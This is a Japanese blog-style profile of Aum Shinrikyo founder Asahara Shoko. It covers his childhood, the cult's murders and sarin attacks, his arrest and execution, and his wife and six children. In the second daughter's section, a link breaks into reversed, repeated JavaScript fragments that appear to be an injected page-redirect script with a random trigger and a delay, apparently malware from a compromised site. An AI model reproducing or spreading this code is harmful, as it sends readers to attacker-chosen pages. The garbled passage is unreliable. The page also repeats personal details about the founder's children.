麻原彰晃とは?生い立ちは?妻は?娘は?遺体はどこへ?アニメ?

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オウム真理教の麻原彰晃について調べてみた。

麻原 彰晃(あさはら しょうこう、本名: 松本 智津夫〈まつもと ちづお〉、1955年〈昭和30年〉3月2日 – 2018年〈平成30年〉7月6日)は、熊本県出身の日本のテロリスト。

宗教団体オウム真理教の元代表・教祖。日本で唯一の「最終解脱者」を自称していた。一連のオウム事件を起こし、1995年(平成7年)5月16日に地下鉄サリン事件の首謀者として逮捕、1996年(平成8年)3月27日に警視庁本庁舎から東京拘置所に移送され、2006年(平成18年)に死刑確定、2018年(平成30年)7月6日に死刑が執行された。

1996年(平成8年)6月19日以降は、教団内部での地位は開祖。その後、2000年(平成12年)にオウム真理教は宗教団体「アレフ」(現:Aleph)に改組され、Alephにおいての公式呼称は「旧団体代表」とされた。

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麻原彰晃の生い立ち

松本智津夫

1955年3月2日午前3時34分、麻原彰晃こと松本智津夫は、熊本県八代市高植本町の畳職人の家庭の4男(6男3女の9人兄弟の第7子)として生まれた。先天性緑内障のため生来、左目がほとんど見えず、右目の視力は1.0程度だった。12歳年上の長兄は全盲、5男も弱視だった。藤原新也は、「麻原兄弟の視覚障害が水俣病の影響であり、それゆえに同じく視覚障害を起こすサリンを使ったのではないか」という仮説を立て、全盲の長兄に事件後インタビューしている。長兄の証言によると、彼も智津夫の視覚障害に関し同様の疑いを持ち、「水俣病患者として役所に申請」したことがあるが、却下されたという。

祖父は熊本県出身の日本人警察官で、戦前に朝鮮半島に渡り、その地で警察署長を務めた。麻原の父は現在の大韓民国全羅北道益山郡春浦面で生まれ、終戦後、共に朝鮮から引き上げ、叔父を頼り八代に住み、当時地場産業であった畳職人として働くようになった。しかし畳の需要は落ち、7人の子を抱え生活は逼迫していた。盲学校の教諭も見たことがないほどの非常に貧しい家だった。両親は働きづめで、智津夫は兄や姉を親代わりに幼少期を送った。智津夫はいたずらっ子で農機具を盗んだり壊したりしていた。その度に兄や姉から尻を叩かれたり外に放り出されていた。テレビアニメが大好きで、視聴中は智津夫が尊敬していた長兄にもチャンネル権を譲らなかった。

盲学校

1961年(昭和36年)4月、一旦は八代市立金剛小学校に入学するが、視覚障害者(隻眼)を理由に同年秋(6歳)より当時熊本市出水町今(現在の熊本市中央区水前寺)に所在した熊本県立盲学校に転校、寄宿舎に移住。しかし、智津夫は全盲の兄とは異なり目が見えたのに、学費も寄宿舎代も食費も不要な盲学校へ入れられたことを親に捨てられたと思い不満をぶつけ、転校の際には泣いて嫌がったという。近所では「口減らし」ではないかと噂が流れた。20歳で卒業するまでの13年間、両親が訪ねてくることはなく、衣服や食料を送ってくることもなかった。他の子供たちは週末には里帰りしたが、松本3兄弟は寮に残った。

盲学校では、強い権力欲を見せ、目が見えるために他の子供たちを子分扱いにし、暴力で支配、全盲の子供を外へ連れ出すと食事をおごらせたり窃盗を命じたり、全盲の生徒相手に落とし穴を仕掛けたり、自分の欲しいものを買わせたりし、「外へ連れて行ってやったのだから日当をよこせ」などと言ってお金を巻き上げていたという。寄宿舎の消灯時間が過ぎたにもかかわらず部屋の明かりを点けたことを寮母がとがめた際には、ふてぶてしい態度で「宿舎ば(を)焼いて明るくするぐらいのこつば(ことを)やってやっぞ」と言った。生活指導の教師が注意すると「言うだけなら、なにを言うたって勝手でしょう」と語ることもあった。凶暴なので退学させろとの声も出ていた。金への執着が強く、同級生への恐喝によって卒業するまでに300万円を貯金していた。

一方、高等部での担任教師であった人物は、盲学校時代の報道を聞いて「そういう陰日なたのある人間とは、とても感じられなかった」、「明るい活発な子で、遠足に行くときは見えない子の手を引いてやったりしていた」と述べている。

成績は中程度であったが、「自分のように病気で困っている人を救う仕事がしたい」と熊本大学医学部を志望するようになり、高等部3年の3月に同医学部を目指すが当時は視覚障害者では医師免許が取れなかったこともあり諦め、高等部専攻科に進学する。

体格が良く、当時の教師によると高等部3年の時には身長175センチ体重80キロはあり、部活動は柔道に打ち込んだ。1975年(昭和50年)1月12日には、盲学校の生徒としては異例の柔道二段(講道館)を取得(一連のオウム事件の裁判が進むと講道館より段位を剥奪した事が記者会見で発表され、その様子がテレビや新聞各社、近代柔道誌などで報道された)。

毛沢東や田中角栄などにかねてから傾倒し、鍼灸免許も取得した松本は、この頃より「東京大学法学部卒の自民党の政治家となりゆくゆくは内閣総理大臣の座に就くこと」を志すようになった。なお、小学部5年時に児童会長、中学部在籍時と高等部在籍時に生徒会長、寮長に立候補するが、全て落選している。後の真理党の時のように先生の陰謀だと言い出したこともあった。19歳の時には盲学校の自治会で破壊的な主張を繰り返し、大混乱に陥れた。

1975年(昭和50年)3月(20歳)、熊本県立盲学校を卒業した。

結婚
東京大学文科1類受験を目指すため、1975年(昭和50年)3月末に東京都江東区大島、8月に品川区戸越に移住するが、9月には八代市の実家に戻る。1976年(昭和51年)1月、熊本市春日(現在の同市西区春日)に移住し長兄の漢方薬店の助手を務める。鍼灸は上手だったとの患者の証言がある。3月、受験勉強をするために学生街のある熊本市黒髪町(現在の同市中央区黒髪)に下宿するが、5月にはまた実家に戻り、長兄の店を手伝う。1976年(昭和51年)7月20日、長兄の店の元従業員が兄を侮辱したため頭部を殴打し負傷させ、9月6日、八代簡易裁判所にて1万5千円の罰金刑を受ける。この頃既に「弁護士か宗教家になりたい」と語っていた。

1977年(昭和52年)春(22歳)に再上京し、代々木ゼミナール(東京都渋谷区)に入学したが、東大受験は3度諦めている。広瀬健一によると麻原がこれを挫折と捉えていたかは不明で、自動小銃密造事件の際には広瀬らに大学受験の思い出を楽しそうに自分語りしたという。また、理系学問に興味があった。英語や中国語も独学でやっていた。

1978年(昭和53年)1月7日、代々木ゼミナールで知り合った松本知子(旧姓石井)と結婚し、千葉県船橋市湊町に新居を構え、そこに鍼灸院「松本鍼灸院」を開院。同年9月15日「松本鍼灸院」を廃し、同市本町 に診察室兼漢方薬局の「亜細亜堂」を開業。同年12月、船橋市新高根に新居を購入し移住。

この頃、鍼灸師として「病気の人を完治させることができない、無駄なことをしているのではないか」と悩み、無常感を抱き、四柱推命や気学を研究し始める。だが運命を知っても運命を変えることはできないと考えて見切りをつけ、台湾鍼灸、漢方、断易、六壬を経て、奇門遁甲と仙道にたどり着き、神秘体験を経験する。さらなる修行を求めて以前は嫌いだったという宗教に近づき、GLAの高橋信次の書籍、中村元や増谷文雄の翻訳仏典により、阿含経そして阿含宗に出会う。

薬事法違反で逮捕
1980年(昭和55年)7月、保険料の不正請求が発覚し、670万円の返還を要求される。同年8月25日(25歳)、根本仏教系の新宗教団体阿含宗に入信。

1981年(昭和56年)2月、船橋市高根台に健康薬品販売店「BMA薬局」を開局、1982年(昭和57年)に無許可の医薬品を販売し四千万円を稼いだものの、「効き目がないどころか下痢をした」などと告発され同年6月22日に薬事法違反で逮捕、20万円の罰金刑を受ける。

妻の松本知子は、3女の松本麗華によれば、1982年に麻原が薬事法違反で逮捕されたことや、宗教にのめり込み家に戻らなくなったことなどが原因で、許容量をはるかに超える精神的葛藤のために、精神の異常が現れ始め、神経症に罹ったと告白(自著『転換人生』にも書いている)。その後、対人恐怖症・外出恐怖症を発症、強迫神経症もひどくなる。このため、家庭でも精神不安定が目立ち、外で愛想のよい笑顔を浮かべた日に限って家庭では些細なことで怒りを爆発させていた。夫婦喧嘩の末に家出をすることもあり、「もう勝手にして!こんな家、出て行くわ」と叫びながらも実際に家を出るまで怒鳴りながら部屋と玄関の間を何往復もしていた。しかし、3姉妹の中で知子についていくものはなく、気の毒に思った3女の麗華が何度か家出について行った。

オウム神仙の会
1982年(昭和57年)、経営塾などをやっていた人物である西山祥雲に弟子入りし「彰晃」の名をもらい、「松本彰晃」を名乗る。

1983年(昭和58年)夏(28歳)、身体を清浄なものとする阿含宗の教義などが、本来の阿含経とかけ離れていると感じ脱会。東京都渋谷区桜丘に、仙道・ヨーガ・東洋医学などを統合した(超)能力開発の指導を行う学習塾「鳳凰慶林館」を開設、松本はこのころから「麻原彰晃」と名乗り始める。「麻原彰晃」には「アシュラ・シャカ」という意味が込められている。

1984年(昭和59年)2月、学習塾「鳳凰慶林館」をヨガ道場「オウムの会」に変更し、5月28日には株式会社オウムを設立。石井久子によると、当時の麻原は中性的なヨーガの先生といったところで、宗教的な感じはせず命令するタイプでもなかった。

1985年(昭和60年)、神奈川県の三浦海岸で修行中に「アビラケツノミコト(神軍を率いる光の命)になれ」と啓示を受けたという。秋には空中浮揚したと称する写真が雑誌『ムー』『トワイライトゾーン』に掲載された。

1986年(昭和61年)4月、税制上の優遇に目をつけて、ヨガ道場「オウムの会」を宗教団体「オウム神仙の会」と改称。同年7月、ヒマラヤで最終解脱と称す。すでに「武力と超能力を使って国家を転覆することも計画している。その時は、フリーメーソンと戦うことになるだろう」などと語っていたという。

当時、麻原は妻の知子と3人の娘と共に千葉県船橋市に住み、家族全員で1つの寝室を共有していた。食事は野菜中心で肉の代りにグルテンを肉状にしたものを食べたり、ちゃぶ台の上にホットプレートを置き、「野菜バーベキュー」を楽しんでいた。この船橋の家には「瞑想室」があり、宗教画が掛けられ棚には仏像が置かれていた。麻原は日に1度は瞑想室にこもり修行をしていた。棚の前にちゃぶ台を置き、麻原はそれを祭壇と呼んでいた。「形は重要じゃない。心が重要なんだ。私にとっては」というのが麻原の口癖だった。後に教団が大きくなってからも、麻原はそれを祭壇として使うほど愛着を持っていた。当時、麻原はヨーガ教室を東京都渋谷区で開いていたため、家にいることが少なかった。たまに帰宅すると強度の弱視のためテレビにくっつくように野球中継を見ていた。

このころには世田谷区の道場に住み込むようになりほとんど家に帰らなくなる。たまに麻原が帰宅すると3人の娘たちが大喜びで玄関まで走って行き、姉妹で父を奪い合っていた。次女は父の帰宅を「太陽のない世界に、太陽が来た」などと表現していた。しかし、妻の知子は麻原が滅多に帰宅しないことなどから精神不安定となり、麻原に向かってなじるようないさかいがあったが、麻原はほとんど抵抗をしなかった。三女麗華の目には、知子が麻原の宗教を信じているようには見えなかったが、麻原の著書の代筆を深夜まで行っていた。後の麻原の著書のいくつかは、知子が書いたものであった。麻原は子供に向かって「蚊に刺されると痒くていやだね。でも蚊も生きているんだよ」や「お釈迦様によれば、私たちは死後生まれ変わり、もしかしたら蚊に生まれ変わるかもしれない」などと話していたが、一方妻の知子は当時は信仰心を有していなかっためか、蚊を平気で殺していた。また、麻原はその頃、家族とともに発展途上国を中心によく旅行をしたが、子たちに「世界には食べ物を食べられない子も、屋根のあるところに住めない子もいるんだ。食べ物を粗末にするのはやめようね」などと諭したりしていた。

オウム真理教結成
1987年(昭和62年)7月(32歳)には「オウム神仙の会」を「オウム真理教」に改称し、布教活動を展開。自著、オカルト雑誌への広告記事を利用し徐々に信者を獲得していった。同年、日本テレビ『鶴ちゃんのプッツン5』に超能力者として出演。

1988年(昭和63年)(33歳)、ダライ・ラマ14世と親交のあるペマ・ギャルポに接近。「自分の修行がどの程度のものなのかチベット仏教の長老に見ていただきたい」と申し出、ダラムサラの宗教・文化庁を紹介される。現地で長老らと一緒に瞑想した結果、高く評価され、ダライ・ラマ14世との接見を数回行っており、接見の様子を宣伝に利用することとなる。

マハーヤーナとヴァジラヤーナ
麻原は既にオウム神仙の会時代の1987年にはタントラ・ヴァジラヤーナやポアといった殺人肯定の教えを説いていたとされる。さらに、阿含宗のスパイがいないか調査させるなど、後につながる行動が始まっていた。

1988年(昭和63年)、在家信者死亡事件が発生、教団から死人を出す。麻原は「いよいよこれはヴァジラヤーナに入れというシヴァ神の示唆だな」と語った。この頃からヨハネの黙示録解読に熱中し始める。同年10月28日、「当初、初めは、わたしはね、凡夫を救済するのがわたしの役割だろうと考えていた。しかし、近ごろわたしは心が少しずつ変わってきている。(略)動物化した、あるいは餓鬼化した、あるいは地獄化したこの人間社会というものの救済は不可能なのかもしれないなと。そして、じゃあどうしたらいいかというと、新しい種、つまり、今の人間よりも霊性のずっと高い種、これを残すことがわたしの役割なのかもしれないなと。」と説法した。

1989年(平成元年)、男性信者殺害事件、坂本堤弁護士一家殺害事件が発生。坂本弁護士事件では当初からオウム真理教の関与が疑われた。

1990年(平成2年)2月の衆議院議員選挙では、真理党代表として東京4区(5人区)から出馬、オウムソングを歌うなど独特の選挙パフォーマンスで注目を集め「泡沫候補とか言っているが、今に見てろよ」と語っていたが、結果は1783票で落選。「今回の選挙の結果は、はっきり言って惨敗、で、何が惨敗なのかというと、それは社会に負けたと。(略)つまり、選挙管理委員会を含めた大がかりなトリックがあったんじゃないか」「今の世の中はマハーヤーナでは救済できないことが分かったのでこれからはヴァジラヤーナでいく」として、ボツリヌス菌やホスゲン爆弾による無差別テロを計画する。

1991年(平成3年)、国土法違反事件を起こしたため、武器製造を中断し1991年から1992年(平成4年)にかけてはマハーヤーナ・合法路線に切り替え、文化活動や、インド・チベット・ラオス・スリランカ・ロシア訪問、テレビ朝日『朝まで生テレビ』『TVタックル』・フジテレビ『おはよう!ナイスデイ』・日本テレビ『とんねるずの生でダラダラいかせて』への出演、雑誌や新聞への登場、島田裕巳・荒俣宏・中沢新一・栗本慎一郎・田原総一朗・ビートたけしらとの対談、大学での講演などを精力的に行い知名度を高める。

一方で、麻原自身はこのような穏健路線は「邪悪な世界への誘惑」であり、「救世主としての使命を妨げている」と感じていたと上祐史浩は語っている。1993年前後から「またヴァジラヤーナを始めるぞ」として徐々に武装化を再開した。

武装・非合法路線の本格化
1993年(平成5年)には「すべての魂をポアするぞ」などと発言し再びヴァジラヤーナ・非合法路線を本格的に再始動、オウム真理教放送など一部を除いてメディアへの露出も減り、信者に兵器の開発や敵対者の暗殺を指示し多くの事件を起こす。殆どの事件は村井秀夫などの弟子に指示する形で行っていたが、薬剤師リンチ殺人事件では実際に現場に立ち会った。信者の運転する炭疽菌噴霧トラックに乗り込み都内を巡り、フリーメーソン認定した建物めがけて炭疽菌をばらまいていたこともあった。

サリン開発にも力を入れており、サリン70トン量産計画の早期実現を命令していた。この他、自動小銃密造など多数のオウム真理教の兵器開発を推し進めた。

また、この頃からアメリカ軍による毒ガス攻撃やQ熱の症状を訴え,「毒ガスでやられて死んじゃう」などと被害妄想が激しくなる。電磁波攻撃対策として専用車に金属ネットを張らせたり、肝癌になったと言って超音波検査をしたりしていた。

1994年(平成6年)からは麻原は急速に子供らに対し頻繁にスキンシップを繰り返すようになる。時には三女(麗華)にキスをしたり、抱きしめたりすることもあり、遊園地や食事に連れていく機会も増えたという。同年6月に松本サリン事件を起こしている。

1995年(平成7年)、阪神・淡路大震災の支援と称して神戸市長田区を訪れたが、長田区に遊ぶところがないと分かると帰ってしまったという。3月13日にはトイザらス岡崎店で、3月15日には彦根市のファミレスで信者を連れて出歩いていたのが目撃されている。

逮捕
40歳を迎えた1995年の3月18日、村井秀夫、井上嘉浩らと強制捜査の延期方法をリムジン内で謀議、地下鉄にサリンを撒くという提案に賛同、20日に地下鉄サリン事件が起きる。

その後、尊師専用車を東京に移動させ偽装工作を行ったが、5月16日に山梨県西八代郡上九一色村(現・南都留郡富士河口湖町)のオウム真理教の教団施設「第6サティアン」内で地下鉄サリン事件の首謀者として逮捕された。

捜査本部は当初、「麻原は1階と2階の間の部屋に隠れている」という遠藤誠一の供述を元に該当箇所を捜索したが見つからず、第6サティアンの南側入り口1階から2階への階段天井部分に造られた隠し部屋(高さ約50cm、幅103cm、奥行き335cm)で、現金960万円の札束と寝袋を抱えて隠れていた所で発見された。

麻原は以下のように供述した。

男性信者殺害事件 – 被害者が死にたい、ポアしてほしいと言ってきた。岡崎一明らに説得するように言ったが殺害してしまった
坂本弁護士一家殺害事件 – 坂本弁護士が悪業を積む前にポアするしかないと思った。子どもだけ生き残らせても逆に残酷だと思い一家の殺害を許可した。処罰は覚悟している
薬剤師リンチ殺人事件 – 被害者の首を絞めて気絶させ、懲らしめてやろうと思ったが、中川智正がロープ等を使用した為に殺してしまった
松本サリン事件 – 否認も自白もしない。教団が精神錯乱剤などによる毒ガス攻撃を受けていたため発生した可能性がある
麻原は釈迦やシヴァ神の啓示により遠藤誠に弁護を頼んだが拒否され、横山昭二が麻原の私選弁護人となった(後に解任)。横山に宛てた「麻原ノート」には、「多くの人たちが死に、また傷害を負ったことは事実です」「今回の事件の幕引きについては、私個人は自己の一身をこのようにいじめながらなげうって、いじめながら人生の終わりを迎えたいと考えているのです」「外にいる弟子たちの修行の場を取り上げるようなことはどうかやめてください」などと書いた。

逮捕前からすでに麻原逮捕後の教団の存続について計画を建てており、当初は弁護士を通じて獄中指示を出していた。

麻原彰晃の妻は誰?

麻原彰晃の妻は、予備校時代の代々木ゼミナールで知り合った松本知子(旧姓石井)である。

麻原彰晃の娘は?子供は?

松本知子の間には6人の子供がいる。

上から順に、長女、次女、三女、四女、長男、次男である。

長女:松本美和

長女:名前は松本美和。

ホーリネームはドゥルガー。1978年生まれ。スーパーで万引き逮捕歴あり。教団での地位は正悟師。ならびに流通監視省大臣であった。

次女:名前は松本宇未

次女:名前は松本宇未。

ホーリネームはカーリー 。1981年生まれ。2000年に三女と長男の連れ去る事件がありその後逮捕され保護観察処分となる。

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松本 宇未
父は、オウム真理教創始者である麻原彰晃(松本智津夫)。

妹に、松本麗華(三女アーチャリー)と、四女松本聡香(仮名)を持つ。

父には、「カーリー」あるいは「カーリーちゃん」と呼ばれていた。
現在、松本宇未(仮名)を名乗る。

麗華と違い、自分の顔と名前を出す気はさらさらない模様。あきらめ悪く、社会に埋没して生きるという野望をいまだに捨てきれずにいる。

人生に疲れ、ガス欠中。

(アメブロ:https://profile.ameba.jp/ameba/matsumotoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to-umi)

三女:松本麗華

三女:名前は松本麗華。

ホーリネームはアーチャリー。

『止まった時計』(講談社)という本を出版。

松本麗華については、以下に詳しくまとめた。

松本 麗華はかわいい?兄弟や母はどうしている?現在の仕事は?ブログやツイッターは?
オウム真理教の松本 麗華について調べてみた。 松本 麗華(まつもと りか、1983年4月 - )は、元オウム真理教幹部。教団内の地位は正大師。麻原彰晃こと松本智津夫 元死刑囚の三女。著述家。母親で元オウム幹部の松本知子と他の兄妹らで麻原彰...

四女:松本聡香

四女:1989年生まれ。ペンネーム松本聡香(さとか)で知られる。

『私はなぜ麻原彰晃の娘に生まれてしまったのか: 地下鉄サリン事件から15年目の告白』という本を出版。

松本聡香、読み方は「さとか」、本名は?大学は?画像は?ツイッターは?記者会見?
オウム真理教の松本聡香について調べてみた。 ペンネーム 松本聡香(さとか)は、松本智津夫元死刑囚(執行時63=教祖名麻原彰晃)の四女。 麻原彰晃については以下にまとめてみました。 遠藤誠一と特に仲が良かった模様。 松本...

長男

長男:1992年生まれ。同年教団から皇子の称号を与えられる。2014年10月24日、アレフに対し、名誉棄損による損害賠償4000万円の請求、ならびに写真と名前の無断使用の禁止を求める提訴を東京地裁に起こす。

次男

次男:1994年生まれ。兄と同じく皇子の称号を与えられる。事件当時1歳。

春日部共栄中学校に合格したが「麻原の息子」と理由で入学を拒否された。

現在は母親と一緒に暮らす。

石井久子の子供

他に、オウム真理教の幹部であった石井久子との間に、92年2月に流産、93年12月に双子、さらに、95年3月に1人のあわせて3人の子供がいるようです。

 

子供の数は四女:松本聡香の著書によると15人とも言われています。

麻原彰晃はいつ死亡?遺体は四女へ?散骨か?

2018年7月6日に死刑が執行されました。

関係者によると、麻原元死刑囚は執行直前、拘置所職員に自身の遺体の引き取り先として四女を指定しており、法務省は本人の意向を優先し、四女側に遺体を引き渡す方向で調整しているもようだ。四女は教団側との関係を絶っているとされる。

麻原元死刑囚は元教団幹部の妻(59)との間に2男4女がおり、法務省が遺体を引き渡す方向で調整している四女と、引き渡しを求める妻側で意見が対立している。妻らの代理人弁護士は7日、上川陽子法相と東京拘置所長に対し、遺体の引き渡しを求める要求書を提出していた。

関係者によると、遺体を引き渡す相手は決まっていないものの、四女側、妻側双方を含む遺族全員が麻原元死刑囚の火葬には同意しているため、東京拘置所が主体となって火葬を行った。

 

7月11日に記者会見した四女の代理人、滝本太郎弁護士は「麻原の骨は信者にとっては仏舎利(ぶっしゃり)(釈迦の骨)で、誰の元にいくかは大変な問題。妻や子供らに渡してはならない」と指摘。遺骨をまいた場所が後継団体の信者らの「聖地」となる危険性もあるため「広い太平洋に船から散骨したい」と話した。

 

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麻原彰晃の歌は?尊師マーチ?

麻原彰晃の歌といえば、尊師マーチが有名。

何故か耳につく。

麻原彰晃はアニメに出てる?

麻原彰晃のアニメもあります。

 

麻原彰晃はビートたけしと共演?

1990年代初頭、テレビを中心としたマスコミは麻原元死刑らを積極的に起用。影響の大きいタレントや文化人も、こぞって麻原元死刑囚とテレビや雑誌で対談をしていた。

その一人が、ビートたけしだ。詳しくは後述するが、たけしは冠番組の『ビートたけしのTVタックル』(テレビ朝日)で麻原元死刑囚と共演、その後、雑誌でも対談し「面白いなあ、麻原さんて」などと絶賛していた。


後に発生する事件のことを考えると、これは失敗か。

 

 

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